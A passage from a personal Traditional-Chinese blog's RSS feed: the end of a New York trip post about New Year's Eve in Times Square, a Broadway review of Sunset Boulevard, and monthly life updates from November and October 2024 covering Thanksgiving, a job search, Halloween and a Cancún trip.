<p>但後來想了想，人生能跨的年也就幾次，真的有體力能用力去體驗的更是沒幾次，在這些為數不多的機會裡，我會希望能至少去體驗一次時報廣場的跨年。但有鑑於我這一趟只有一個人，沒有人可以幫我互相 cover，所以最後決定走一個佛系的路線，時間差不多再過去，能靠多近就多近，累了想回家隨時閃人，沒看到就算了，最差還是可以回旅館看直播。</p>
<p>我在晚上 6 點多抵達時報廣場附近，因為警方陸續把附近的街道都封鎖了，所以連要靠近都很困難。我最後找到一個柵欄外可以看得到 Balldrop 而且還沒有人聚集的地方卡著，而且人行道邊有一個柱子，所以我可以輕鬆的坐在那根柱子上。</p>
<p>







  
  
<figure>
  
    





  
  <picture  class="mx-auto my-0 rounded-md" >
    <img
      src="https://img.tomy.me/blog/new-york/new-year-eve-times-square-map.jpg"
      class="mx-auto my-0 rounded-md"
      alt="時報廣場地圖"
      loading="lazy" decoding="async"
    />
  </picture>

<figcaption class="text-center">一般觀賞的位置是在上面的紅色三角形的區域裡面，我最後卡到的位置是在箭頭尾端的柵欄外第一排。</figcaption>
</figure>
</p>
<p>6 點到 9 點我跟兩個有點ㄎㄧㄤㄎㄧㄤ帶著披薩的黑人閨蜜、還有幾個南美洲大嬸輪流和駐守在柵欄內的警察杯杯聊天，聽他分享他前幾年跨年來站崗的故事，滑一下 Threads 看台灣的跨年 (特別是南寮漁港的煙火)，再聽個 podcast 殺時間，到這邊都還挺舒服的。</p>
<p>9 點到 11 點應該是整個晚上最痛苦的部分，因為下了一場大暴雨，而且是會閃電打雷的午後雷陣雨，我一度有點想放棄回旅館了，但往後看已經看不到人群的盡頭了，進退兩難之下似乎也只能繼續待到午夜跨年了。但也是下了這一場大雨，場外多了很多苦中作樂的節目，比方說每次打雷就會有人大喊：「Jesus, have mercy」然後旁邊被從睡夢中叫醒的人會問我剛才那一聲是煙火還是打雷，到後面看黑人閨蜜組表演把吃了一半，被雨水泡爛的披薩對折塞進背包。</p>


<div class="flex flex-wrap md:flex-nowrap items-center gap-4">
  


  
  
  
  
  
  
    
    
  
  <figure>
    

    
      





  
  <picture  class="mx-auto my-0 rounded-md mx-1" >
    <img
      src="https://img.tomy.me/blog/new-york/pre-balldrop.jpg"
      class="mx-auto my-0 rounded-md mx-1"
      alt="球還在上面的樣子"
      loading="lazy" decoding="async"
    />
  </picture>


    
  </figure>




  
  
  
  
  
  
    
    
  
  <figure>
    

    
      





  
  <picture  class="mx-auto my-0 rounded-md mx-1" >
    <img
      src="https://img.tomy.me/blog/new-york/post-balldrop.jpg"
      class="mx-auto my-0 rounded-md mx-1"
      alt="球下來之後的樣子"
      loading="lazy" decoding="async"
    />
  </picture>


    
  </figure>



</div>


<figcaption class="text-center">左：球還在上面的樣子<br/>右：球下來之後的樣子</figcaption>
<p>最後一個小時雨停了所以沒那麼痛苦，可惜倒數完之後也沒什麼煙火，彩帶是只有觀賞區裡面才會撒，所以一條街外的這裡相對就沒什麼大場面好看。</p>
<p>







  
  
<figure>
  
    





  
  <picture  class="mx-auto my-0 rounded-md" >
    <img
      src="https://img.tomy.me/blog/new-york/time-square-new-year-eve-crowd.jpg"
      class="mx-auto my-0 rounded-md"
      alt="時報廣場的群眾"
      loading="lazy" decoding="async"
    />
  </picture>

<figcaption class="text-center">結論：Balldrop 本身挺無聊的，好玩的是跟全世界的怪咖一起跨年 (?)</figcaption>
</figure>
</p>
<h2 id="-結論" class="relative group">💬 結論 </h2><p>雖然<a href="/zh-tw/posts/sf-bay-area/#-這不是我">之前有寫過了</a>但這裡再重複一次：我在暑假從灣區回匹茲堡時就差不多認知到：我就是都市長大的小孩，即使現在長大了也還是想繼續待在大城市裡。我享受搭地鐵通勤時帶著耳機觀察人群、不經意的在路上發現沒吃過的餐廳、週末去博物館、購物中心閒逛，又或是帶上一本書去咖啡廳泡上一整天。生活充滿不確定性是我的靈感來源，也是我繼續維持這個假掰部落格的方式：）</p>
<p>所以即便紐約充滿各種荒誕不經，但我想也正是這些奇人異事，豐富了這座城市的不同樣貌，也只有這樣的文化大熔爐，才賦予了美國夢實現的機會。</p>
<p>我想紐約就是我所追尋的那個理想城市，我也會心心念念再回來的那一天。</p>
<p>🗽</p>
<div class="footnotes" role="doc-endnotes">
<hr>
<ol>
<li id="fn:1">
<p>類似台灣的悠遊卡或一卡通&#160;<a href="#fnref:1" class="footnote-backref" role="doc-backlink">&#x21a9;&#xfe0e;</a></p>
</li>
</ol>
</div>
]]></content:encoded><category>🍫 生活</category><guid isPermaLink="false">new-york</guid><pubDate>Wed, 08 Jan 2025 00:07:43 +0800</pubDate></item><item><title>Sunset Boulevard</title><link>https://blog.tomy.me/zh-tw/posts/sunset-boulevard/</link><description>Everone's forgotten how hey started</description><content:encoded><![CDATA[<p><a href="https://sunsetblvdbroadway.com/" target="_blank" rel="noreferrer"><em>Sunset Boulevard</em><svg xmlns="http://www.w3.org/2000/svg" fill='#000000' viewBox="0 0 512 512"><path d="M320 0c-17.7 0-32 14.3-32 32s14.3 32 32 32h82.7L201.4 265.4c-12.5 12.5-12.5 32.8 0 45.3s32.8 12.5 45.3 0L448 109.3V192c0 17.7 14.3 32 32 32s32-14.3 32-32V32c0-17.7-14.3-32-32-32H320zM80 32C35.8 32 0 67.8 0 112V432c0 44.2 35.8 80 80 80H400c44.2 0 80-35.8 80-80V320c0-17.7-14.3-32-32-32s-32 14.3-32 32V432c0 8.8-7.2 16-16 16H80c-8.8 0-16-7.2-16-16V112c0-8.8 7.2-16 16-16H192c17.7 0 32-14.3 32-32s-14.3-32-32-32H80z" /></svg></a>，中文翻做《日落大道》，是改編自 1950 年的同名電影。講述一個過氣的默片女星與年輕編劇家相遇，然後期待能夠藉著他的名氣帶她重返大螢幕，隨之而來一連串的浪漫，最後悲劇收尾&hellip;&hellip;我個人喜歡粗俗的比喻為：感情戲少了一點、更著重刻畫影星在好萊塢不擇手段暗黑面的 La La Land。</p>
<p>選這部最大的亮點是它去年在倫敦西區拿下 7 座奧立佛獎<sup id="fnref:1"><a href="#fn:1" class="footnote-ref" role="doc-noteref">1</a></sup>，包括女主角 Nicole Scherzinger 和男主角 Tom Francis 紛紛贏下最佳女主角以及最佳男主角，今年在紐約百老匯駐點表演的也是原班人馬重現。<sup id="fnref:2"><a href="#fn:2" class="footnote-ref" role="doc-noteref">2</a></sup></p>
<p>這齣戲在舞台和道具部分的編排相對簡單，最大的特色是舞台上會有攝影機近身拍攝演員臉部的鏡頭，然後以黑白的畫面投放在背景的大螢幕上，角色也會直接對著攝影機互動，所以雖然不是正對觀眾，但透過螢幕會產生一種打破第四面牆的效果。而也正是因為這個呈現的手法，演員臉部的表情的一絲一毫都會被清楚的展露出來，也變相證明了百老匯實力派的演員即使在現場鏡頭前，仍然能做到保持每一秒的完美。比較可惜的是演到中後期的時候，視覺上也會開始對這個呈現手法產生疲乏，甚至有些濫用的感覺，空空的舞台上少了很多道具甚至會覺得，看起來跟我在參與劇坊公演舞台時的簡陋程度差不多 (X)。</p>
<p>音樂的部分本來沒特別期待，但在演出的時候聽到某些片段熟悉的旋律，就有猜到這齣戲的曲子也是由《歌劇魅影》、《貓》同一個編曲家的 Andrew Lloyd Webber 編曲的，雖然音樂劇本來就會透過重復在多個曲子裡使用一個貫穿整齣戲的基調，但這個旋律還是很朗朗上口，很容易就會留下深刻的印象。</p>
<p>最後分享一下可以在 <a href="https://www.youtube.com/watch?v=tVKGIscnLyU" target="_blank" rel="noreferrer">YouTube<svg xmlns="http://www.w3.org/2000/svg" fill='#000000' viewBox="0 0 512 512"><path d="M320 0c-17.7 0-32 14.3-32 32s14.3 32 32 32h82.7L201.4 265.4c-12.5 12.5-12.5 32.8 0 45.3s32.8 12.5 45.3 0L448 109.3V192c0 17.7 14.3 32 32 32s32-14.3 32-32V32c0-17.7-14.3-32-32-32H320zM80 32C35.8 32 0 67.8 0 112V432c0 44.2 35.8 80 80 80H400c44.2 0 80-35.8 80-80V320c0-17.7-14.3-32-32-32s-32 14.3-32 32V432c0 8.8-7.2 16-16 16H80c-8.8 0-16-7.2-16-16V112c0-8.8 7.2-16 16-16H192c17.7 0 32-14.3 32-32s-14.3-32-32-32H80z" /></svg></a> 上看男主角 Tom Francis 在去年奧立佛獎頒獎典禮，表演第二幕從劇場外走進劇場的表演。<sup id="fnref:3"><a href="#fn:3" class="footnote-ref" role="doc-noteref">3</a></sup></p>
<p>我給 7.5/10，值得一看！據說 2025 結束百老匯的駐點演出後會有世界巡迴，有興趣的可以關注一下。</p>
<div class="footnotes" role="doc-endnotes">
<hr>
<ol>
<li id="fn:1">
<p>英國舞台劇的最高殊榮，相當於美國的東尼獎。&#160;<a href="#fnref:1" class="footnote-backref" role="doc-backlink">&#x21a9;&#xfe0e;</a></p>
</li>
<li id="fn:2">
<p>好啦更實際的原因是票價很便宜 XD&#160;<a href="#fnref:2" class="footnote-backref" role="doc-backlink">&#x21a9;&#xfe0e;</a></p>
</li>
<li id="fn:3">
<p>感覺這個部落格的一部分受眾會有興趣，所以偷偷暴雷一部分：這齣戲有幾幕他會打赤膊上陣，可以現場看到他<del>豐滿的</del>腹肌&#160;<a href="#fnref:3" class="footnote-backref" role="doc-backlink">&#x21a9;&#xfe0e;</a></p>
</li>
</ol>
</div>
]]></content:encoded><category>🍫 生活</category><guid isPermaLink="false">sunset-boulevard</guid><pubDate>Mon, 06 Jan 2025 16:19:35 +0800</pubDate></item><item><title>2024 年 11 月報報</title><link>https://blog.tomy.me/zh-tw/posts/2024-november-dump/</link><description>看到下雪就知道年末又近了哪</description><content:encoded><![CDATA[<p>這個月又大遲到ㄌ QQQQ</p>
<p>為什麼會大遲到，下面再說哈哈哈哈</p>
<h2 id="-感恩節" class="relative group">🦃 感恩節 </h2><p>美國感恩節的經典三件套：</p>
<ul>
<li>出去玩</li>
<li>感恩節當天吃大餐感恩我們所擁有的一切</li>
<li>然後在隔天的黑色星期五去血拼來滿足還沒擁有的部分 ¯\_(ツ)_/¯ <sup id="fnref:1"><a href="#fn:1" class="footnote-ref" role="doc-noteref">1</a></sup></li>
</ul>
<p>出去玩的部分就是一行人租車開了一個小時，去參觀知名的<a href="https://zh.wikipedia.org/zh-tw/%E8%90%BD%E6%B0%B4%E5%B1%B1%E8%8E%8A" target="_blank" rel="noreferrer">落水山莊<svg xmlns="http://www.w3.org/2000/svg" fill='#000000' viewBox="0 0 512 512"><path d="M320 0c-17.7 0-32 14.3-32 32s14.3 32 32 32h82.7L201.4 265.4c-12.5 12.5-12.5 32.8 0 45.3s32.8 12.5 45.3 0L448 109.3V192c0 17.7 14.3 32 32 32s32-14.3 32-32V32c0-17.7-14.3-32-32-32H320zM80 32C35.8 32 0 67.8 0 112V432c0 44.2 35.8 80 80 80H400c44.2 0 80-35.8 80-80V320c0-17.7-14.3-32-32-32s-32 14.3-32 32V432c0 8.8-7.2 16-16 16H80c-8.8 0-16-7.2-16-16V112c0-8.8 7.2-16 16-16H192c17.7 0 32-14.3 32-32s-14.3-32-32-32H80z" /></svg></a>。</p>
<p>







  
  
<figure>
  
    





  
  <picture  class="mx-auto my-0 rounded-md" >
    <img
      src="https://img.tomy.me/blog/2024-november-dump/fallingwater.jpg"
      class="mx-auto my-0 rounded-md"
      alt="落水山莊"
      loading="lazy" decoding="async"
    />
  </picture>

<figcaption class="text-center">這棟坐落在瀑布上的別墅完工於 1930 年代，後續被收錄進聯合國教科文組織世界遺產</figcaption>
</figure>
</p>
<p>即便我對建築是有點興趣，但整個逛完覺得好像&hellip;就跟網路上的照片差不多&hellip;?</p>
<p>事後回想的時候甚至覺得，這棟建築的存在本身就是處處衝突。</p>
<p>建築師的觀點是他們沒有改變河道，是一棟與自然共存的建物。（但你有沒有考慮蓋在河邊就好：））））？）而且我怎麼想都覺得是——一個匹茲堡富豪把城市工業化到嚴重污染，不見天日，然後再跑去森林裡蓋一棟度假山莊享受一般人沒有的新鮮空氣，這棟富豪每年放假來住個幾天的房子，可能還比在他底下的工人每天住的房子還大上許多，舒服不少。更不用提要不是這些有錢人出資保存這棟建築、還有支付申請和研究所需的經費，不然一棟別墅為什麼會沒事被收錄進世界遺產。最後，從當代的觀點這棟建築的代表性、重要性、和特色似乎難以合理化它高昂的維護成本&hellip;&hellip;</p>
<p>但有個名堂可以跟大家一起出來玩還是很開心~</p>
<p>總之如果剛好造訪匹茲堡，有車，可以順路開去看看。但如果要專程拜訪，我是覺得大可不必。</p>
<p>







  
  
<figure>
  
    





  
  <picture  class="mx-auto my-0 rounded-md" >
    <img
      src="https://img.tomy.me/blog/2024-november-dump/thanksgiving-potluck.jpg"
      class="mx-auto my-0 rounded-md"
      alt="感恩節大餐合照"
      loading="lazy" decoding="async"
    />
  </picture>

<figcaption class="text-center">延續去年的傳統，今年的感恩節一樣有跟大家一起辦 Potluck。</figcaption>
</figure>
</p>
<p>血拼的話，匹茲堡周遭的 outlet 去年都逛過了，所以我們同一行人租了車去了比較遠的 Grove City Outlet。今年本來是計劃想買個太陽眼鏡或是耳機，但是今年換了電腦又換了手機，手頭的美金已經快見底了，再加上這些東西完全是急迫性 0 的東西，所以全部都暫緩了。只買了一些本來就該買但拖了很久沒買的衣服。</p>
<h2 id="-結束找工作" class="relative group">🔚 結束找工作 </h2><p>我在 9 月開學過後沒多久就有收到暑假在 WeRide 實習的 Return Offer 了，但<a href="/zh-tw/posts/sf-bay-area/">我不喜歡灣區</a>，也不覺得這是我接下來會想要久待的地方，所以還是有繼續在投一些東岸的職缺，LeetCode 還是照樣有在寫每日一題。</p>
<p>但可能是力道相對減弱了不少，所以也沒什麼太大的進展，直到這個月才收到了第一份比較正式的面試，於是面試前一天晚上：</p>
<blockquote
      class="text-post-media"
      data-text-post-permalink="https://www.threads.net/tomy0000000/post/DCQribOOAZr"
      data-text-post-version="0"
      id="ig-tp-DCQribOOAZr"
      style="
        background: #fff;
        border-width: 1px;
        border-style: solid;
        border-color: #00000026;
        border-radius: 16px;
        max-width: 540px;
        margin: 1px;
        min-width: 270px;
        padding: 0;
        width: 99.375%;
        width: -webkit-calc(100% - 2px);
        width: calc(100% - 2px);
      "
    >
      <a
        href="https://www.threads.net/tomy0000000/post/DCQribOOAZr"
        style="
          background: #ffffff;
          line-height: 0;
          padding: 0 0;
          text-align: center;
          text-decoration: none;
          width: 100%;
          font-family: -apple-system, BlinkMacSystemFont, sans-serif;
        "
        target="_blank"
      >
        <div
          style="
            padding: 40px;
            display: flex;
            flex-direction: column;
            align-items: center;
          "
        >
          <div
            style="display: block; height: 32px; width: 32px; padding-bottom: 20px"
          >
            <svg
              aria-label="Threads"
              height="32px"
              role="img"
              viewBox="0 0 192 192"
              width="32px"
              xmlns="http://www.w3.org/2000/svg"
            >
              <path
                d="M141.537 88.9883C140.71 88.5919 139.87 88.2104 139.019 87.8451C137.537 60.5382 122.616 44.905 97.5619 44.745C97.4484 44.7443 97.3355 44.7443 97.222 44.7443C82.2364 44.7443 69.7731 51.1409 62.102 62.7807L75.881 72.2328C81.6116 63.5383 90.6052 61.6848 97.2286 61.6848C97.3051 61.6848 97.3819 61.6848 97.4576 61.6855C105.707 61.7381 111.932 64.1366 115.961 68.814C118.893 72.2193 120.854 76.925 121.825 82.8638C114.511 81.6207 106.601 81.2385 98.145 81.7233C74.3247 83.0954 59.0111 96.9879 60.0396 116.292C60.5615 126.084 65.4397 134.508 73.775 140.011C80.8224 144.663 89.899 146.938 99.3323 146.423C111.79 145.74 121.563 140.987 128.381 132.296C133.559 125.696 136.834 117.143 138.28 106.366C144.217 109.949 148.617 114.664 151.047 120.332C155.179 129.967 155.42 145.8 142.501 158.708C131.182 170.016 117.576 174.908 97.0135 175.059C74.2042 174.89 56.9538 167.575 45.7381 153.317C35.2355 139.966 29.8077 120.682 29.6052 96C29.8077 71.3178 35.2355 52.0336 45.7381 38.6827C56.9538 24.4249 74.2039 17.11 97.0132 16.9405C119.988 17.1113 137.539 24.4614 149.184 38.788C154.894 45.8136 159.199 54.6488 162.037 64.9503L178.184 60.6422C174.744 47.9622 169.331 37.0357 161.965 27.974C147.036 9.60668 125.202 0.195148 97.0695 0H96.9569C68.8816 0.19447 47.2921 9.6418 32.7883 28.0793C19.8819 44.4864 13.2244 67.3157 13.0007 95.9325L13 96L13.0007 96.0675C13.2244 124.684 19.8819 147.514 32.7883 163.921C47.2921 182.358 68.8816 191.806 96.9569 192H97.0695C122.03 191.827 139.624 185.292 154.118 170.811C173.081 151.866 172.51 128.119 166.26 113.541C161.776 103.087 153.227 94.5962 141.537 88.9883ZM98.4405 129.507C88.0005 130.095 77.1544 125.409 76.6196 115.372C76.2232 107.93 81.9158 99.626 99.0812 98.6368C101.047 98.5234 102.976 98.468 104.871 98.468C111.106 98.468 116.939 99.0737 122.242 100.233C120.264 124.935 108.662 128.946 98.4405 129.507Z"
              />
            </svg>
          </div>
          <div
            style="
              font-size: 15px;
              line-height: 21px;
              color: #999999;
              font-weight: 400;
              padding-bottom: 4px;
            "
          >
            Post by tomy0000000
          </div>
          <div
            style="
              font-size: 15px;
              line-height: 21px;
              color: #000000;
              font-weight: 600;
            "
          >
            View on Threads
          </div>
        </div></a
      >
    </blockquote>
    
    <script async src="https://www.threads.net/embed.js"></script>
<p>嗯。於是我的找工作之旅就在學校的 Meditation room 裡吃完一桶冰淇淋度過了。</p>
<p>面試簽了 NDA 就不太好寫，剩下的能寫的應該也是挺無聊的，如果有興趣的話私下來約我聊吧。</p>
<p>雖然原本的計劃是大哭一場，但真的去了好像也沒有想像中難過，倒是有一種&hellip;豁然開朗的感覺（？）現在回想覺得差別應該是，我先預設了這會是今年找工作的盡頭<sup id="fnref:2"><a href="#fn:2" class="footnote-ref" role="doc-noteref">2</a></sup>，所以不管有沒有上，反正就是結束了，就像考完試結果好與壞是一回事，但考的好的跟考不好的，考完試一定都是先去玩個盡興。</p>
<p>所以當我的生活一從這個「被卡著」的狀態結束，很多事情就開始陸續有了著落。理性的部分像是明年回美國的機票、找房子一直拖著，因為還不確定明年會搬去哪。</p>
<p>不理性的部分就更多了。</p>
<p>像是我從開學以來會催眠自己很忙，所以沒空煮飯餐餐外食、沒空折洗完的襪子所以隨便散在房間地上、或是把該記的帳繼續囤積在信箱收件夾裡<sup id="fnref:3"><a href="#fn:3" class="footnote-ref" role="doc-noteref">3</a></sup>，但也沒有真的把這些時間拿去找工作或是處理更重要的事，只是躺在床上滑更多的 Threads 和看無聊的 YouTube 影片。</p>
<p>總之就是，一切都結束了，我的心態現在已經調整好要 move on 到下一個階段了，也就是說我可以 100% 專注在</p>
<ul>
<li>寫 Database 的作業</li>
<li>做 Practicum</li>
<li>過好生活</li>
<li><del>滑更多的 Threads</del></li>
</ul>
<p>最重要的是，下個月就要畢業離開匹茲堡了，但是關於怎麼搬家一點頭緒都沒有（頭痛撞牆</p>
<h2 id="-本月目標回顧" class="relative group">🎯 本月目標回顧 </h2><h3 id="-找一天週末騎-pbsc-去動物園玩一天" class="relative group">⚠️ 找一天週末騎 PBSC 去動物園玩一天 </h3><p>上個月說排好了一天要來享受這個小假期，結果那天早上起床，看著手機說匹茲堡室外體感零下 6 度，再看看窗外的暴雪，再看看溫暖的被窩，我最後決定躺回去 😂😂</p>
<p>快轉到 12/1，我坐在星巴克寫這篇報報的時候發現這個月也跳太多票了，決定馬上出發，吃完晚餐去看動物園晚上的燈節。</p>
<p>







  
  
<figure>
  
    





  
  <picture  class="mx-auto my-0 rounded-md" >
    <img
      src="https://img.tomy.me/blog/2024-november-dump/pittsburgh-zoo-illuminations.jpg"
      class="mx-auto my-0 rounded-md"
      alt="企鵝和冰山造型的燈飾"
      loading="lazy" decoding="async"
    />
  </picture>

<figcaption class="text-center">匹茲堡動物園的燈飾，逛起來其實有種台灣燈節的即視感 (?)<br/>只是人少了很多，所以可以輕鬆拍到完整沒有被擋住的燈 👍🏻</figcaption>
</figure>
</p>
<p>好啦所以，動物園去了，腳踏車沒騎到，就算勉強達成一半好了 xD</p>
<h3 id="-多寫一篇文章" class="relative group">❌ 多寫一篇文章 </h3><p>寫給回台灣的我：加油！你一定行 (X)</p>
<h3 id="-認真結算一下來美國至今燒了多少錢" class="relative group">⚠️ 認真結算一下來美國至今燒了多少錢 </h3><p>記了大約&hellip;一半，現在才意識到我堆積的帳還真他__的不少：）</p>
<h2 id="-下個月的目標" class="relative group">🎯 下個月的目標 </h2><ol>
<li>早點睡：這學期的課表太過放縱，每天都睡 5 點到 12 點，有點失控</li>
<li>離開匹茲堡前再多探索一下這座城市</li>
<li>認真結算一下來美國至今燒了多少錢</li>
</ol>
<h2 id="-下集預告" class="relative group">🎬 下集預告 </h2><p>這個月的報報好像有點無聊，光寫作業找工作就佔據我這個月的好大一部分，要不是後面有感恩節，還真是不知道這篇還能寫啥 QQQQQQQ</p>
<p>但下個月就要畢業了！</p>
<p>畢業搬家完會去紐約過聖誕節和跨年，沒意外應該會有一篇紐約遊記。</p>
<p>跨完年會從紐約直接回台灣，從 1/3 一路待到 2/7 過完年！我應該之後會陸續抓 (?) 人出來吃飯，等不及的也可以私訊我ㄌ🫶🏻</p>
<div class="footnotes" role="doc-endnotes">
<hr>
<ol>
<li id="fn:1">
<p><a href="https://www.reddit.com/r/Showerthoughts/comments/1gzlmrh/here_in_the_usa_a_national_day_of_giving_thanks/" target="_blank" rel="noreferrer">r/Showerthoughts on Reddit<svg xmlns="http://www.w3.org/2000/svg" fill='#000000' viewBox="0 0 512 512"><path d="M320 0c-17.7 0-32 14.3-32 32s14.3 32 32 32h82.7L201.4 265.4c-12.5 12.5-12.5 32.8 0 45.3s32.8 12.5 45.3 0L448 109.3V192c0 17.7 14.3 32 32 32s32-14.3 32-32V32c0-17.7-14.3-32-32-32H320zM80 32C35.8 32 0 67.8 0 112V432c0 44.2 35.8 80 80 80H400c44.2 0 80-35.8 80-80V320c0-17.7-14.3-32-32-32s-32 14.3-32 32V432c0 8.8-7.2 16-16 16H80c-8.8 0-16-7.2-16-16V112c0-8.8 7.2-16 16-16H192c17.7 0 32-14.3 32-32s-14.3-32-32-32H80z" /></svg></a>&#160;<a href="#fnref:1" class="footnote-backref" role="doc-backlink">&#x21a9;&#xfe0e;</a></p>
</li>
<li id="fn:2">
<p>其實這個預設也沒什麼根據，而且統計上來說，我的第六感從沒準過，所以接下來會怎樣也很難說。&#160;<a href="#fnref:2" class="footnote-backref" role="doc-backlink">&#x21a9;&#xfe0e;</a></p>
</li>
<li id="fn:3">
<p>這也是為什麼這個月其中一個目標是記帳：）&#160;<a href="#fnref:3" class="footnote-backref" role="doc-backlink">&#x21a9;&#xfe0e;</a></p>
</li>
</ol>
</div>
]]></content:encoded><category>🍫 生活</category><guid isPermaLink="false">2024-november-dump</guid><pubDate>Sun, 15 Dec 2024 16:34:13 -0500</pubDate></item><item><title>2024 年 10 月報報</title><link>https://blog.tomy.me/zh-tw/posts/2024-october-dump/</link><description>🍁 從一片落葉開始</description><content:encoded><![CDATA[<h2 id="-萬聖節" class="relative group">🎃 萬聖節 </h2><p>🎃 萬聖節快樂！</p>
<p>上個月訂了一個「體驗一下美國萬聖節」的目標，一方面是去年沒參加很想體驗，另一方面主要還是想把自己從平常繁忙的工作中抽離。寫下來的時候大概就有點預料到八成會捨本逐末，實際上又更複雜一點 （？</p>
<p>其實我對於萬聖節的裝扮還挺有想法的，最大的問題應該是，大部分的想法都需要投入一點時間去準備，不是那種去 Spirit Halloween 就可以買到的現成的裝扮。<sup id="fnref:1"><a href="#fn:1" class="footnote-ref" role="doc-noteref">1</a></sup> 但我什麼不缺，就最缺時間，特別是放了一個 Fall Break 回來之後，各種工作全部都一起來，根本沒時間搞這些。</p>
<p>於是我在萬聖節前一個禮拜的的某一天，趕作業死線之餘，把 idea 清單打開來、找到最簡單的選項——三角錐帽、打開 Amazon 下訂，然後把下半身的裝扮留到萬聖節前幾天再說，結果真的到萬聖節的時候，這個問題還是沒有解決 🙃</p>
<p>







  
  
<figure>
  
    





  
  <picture  class="mx-auto my-0 rounded-md" >
    <img
      src="https://img.tomy.me/blog/2024-october-dump/halloween-with-mse.jpg"
      class="mx-auto my-0 rounded-md"
      alt="和 MSE 在萬聖節的合照"
      loading="lazy" decoding="async"
    />
  </picture>

<figcaption class="text-center">於是就變成這樣：就只戴一頂帽子，大概最多只能拿個「志在參加」獎 (?)</figcaption>
</figure>
</p>
<p>今年去的是學校的 GSA —— 學校的研究生學生會舉辦的萬聖節晚會。到去之前都還是有點猶豫，<del>原因</del>理由很多：</p>
<ul>
<li>作業寫不完</li>
<li>專題有點寫不完</li>
<li>&hellip;很多亂七八糟但不能不做的雜事還沒做 (像是寫這篇文)</li>
<li>有個同學剛好沒買到票，票剛好可以捐給他</li>
<li>第六感告訴我這活動體驗值應該不高，硬要去好像有點為「參加而參加」</li>
</ul>
<p>後來想了想還是還是去了。想說這學期都很少能遇到 MSE 的同學，這可能是近期少數有機會見到所有人的機會，就當作是去跟大家敘敘舊順便更新一下近況。</p>
<p>實際上去了也不出我所料，就是&hellip;還真的是沒有很好玩&hellip;。見到大家還是很開心，只是確實就跟我預期的差不多，就是大家來喝杯酒、聊個天，沒有太多萬聖節主題的活動，而且整個活動的會場還是籠罩著一種課業、找工作、生存的高壓。<sup id="fnref:2"><a href="#fn:2" class="footnote-ref" role="doc-noteref">2</a></sup></p>
<p>這樣說起來，來看到大家沒有過的太好似乎反而有安慰到我一點 (?)</p>
<p>果然在大學裡當研究生 (特別是一堆國際生混在一起的研究生) 本來就不會有太多生活體驗。要體驗的話，還是離開之後去哪會更有機會吧。</p>
<h2 id="-cancún" class="relative group">🇲🇽 Cancún </h2><p>







  
  
<figure>
  
    





  
  <picture  class="mx-auto my-0 rounded-md" >
    <img
      src="https://img.tomy.me/blog/2024-october-dump/cancun-resort-by-the-beach.jpg"
      class="mx-auto my-0 rounded-md"
      alt="坎昆海邊的度假村"
      loading="lazy" decoding="async"
    />
  </picture>

<figcaption class="text-center">Fall Break 來去熱帶度假村避寒！</figcaption>
</figure>
</p>
<p>Cancún (坎昆) 位於<a href="https://maps.app.goo.gl/5X9iygMxyRrVjzFY8" target="_blank" rel="noreferrer">墨西哥猶加敦半島的東北邊<svg xmlns="http://www.w3.org/2000/svg" fill='#000000' viewBox="0 0 512 512"><path d="M320 0c-17.7 0-32 14.3-32 32s14.3 32 32 32h82.7L201.4 265.4c-12.5 12.5-12.5 32.8 0 45.3s32.8 12.5 45.3 0L448 109.3V192c0 17.7 14.3 32 32 32s32-14.3 32-32V32c0-17.7-14.3-32-32-32H320zM80 32C35.8 32 0 67.8 0 112V432c0 44.2 35.8 80 80 80H400c44.2 0 80-35.8 80-80V320c0-17.7-14.3-32-32-32s-32 14.3-32 32V432c0 8.8-7.2 16-16 16H80c-8.8 0-16-7.2-16-16V112c0-8.8 7.2-16 16-16H192c17.7 0 32-14.3 32-32s-14.3-32-32-32H80z" /></svg></a>，是美洲著名的渡假勝地，以功能上來說，跟亞洲的幾個熱帶度假小島，像是峇里島、普吉島、宿霧差不多，反正就是一個沙灘、風光明媚、行程耍廢居多的觀光地。</p>
<p>我們這趟五天四夜，因為人太大一票了，所以每個人行程都有點不一樣，我的行程大概是：</p>
<ul>
<li>搭船去了附近的 <a href="https://maps.app.goo.gl/YbuYxPDDmNffmvyD7" target="_blank" rel="noreferrer"><abbr title="女人島">Isla Mujeres</abbr><svg xmlns="http://www.w3.org/2000/svg" fill='#000000' viewBox="0 0 512 512"><path d="M320 0c-17.7 0-32 14.3-32 32s14.3 32 32 32h82.7L201.4 265.4c-12.5 12.5-12.5 32.8 0 45.3s32.8 12.5 45.3 0L448 109.3V192c0 17.7 14.3 32 32 32s32-14.3 32-32V32c0-17.7-14.3-32-32-32H320zM80 32C35.8 32 0 67.8 0 112V432c0 44.2 35.8 80 80 80H400c44.2 0 80-35.8 80-80V320c0-17.7-14.3-32-32-32s-32 14.3-32 32V432c0 8.8-7.2 16-16 16H80c-8.8 0-16-7.2-16-16V112c0-8.8 7.2-16 16-16H192c17.7 0 32-14.3 32-32s-14.3-32-32-32H80z" /></svg></a> 浮潛看<a href="https://maps.app.goo.gl/nAh7VLvMGcAzDztW8" target="_blank" rel="noreferrer">海底遺跡<svg xmlns="http://www.w3.org/2000/svg" fill='#000000' viewBox="0 0 512 512"><path d="M320 0c-17.7 0-32 14.3-32 32s14.3 32 32 32h82.7L201.4 265.4c-12.5 12.5-12.5 32.8 0 45.3s32.8 12.5 45.3 0L448 109.3V192c0 17.7 14.3 32 32 32s32-14.3 32-32V32c0-17.7-14.3-32-32-32H320zM80 32C35.8 32 0 67.8 0 112V432c0 44.2 35.8 80 80 80H400c44.2 0 80-35.8 80-80V320c0-17.7-14.3-32-32-32s-32 14.3-32 32V432c0 8.8-7.2 16-16 16H80c-8.8 0-16-7.2-16-16V112c0-8.8 7.2-16 16-16H192c17.7 0 32-14.3 32-32s-14.3-32-32-32H80z" /></svg></a></li>
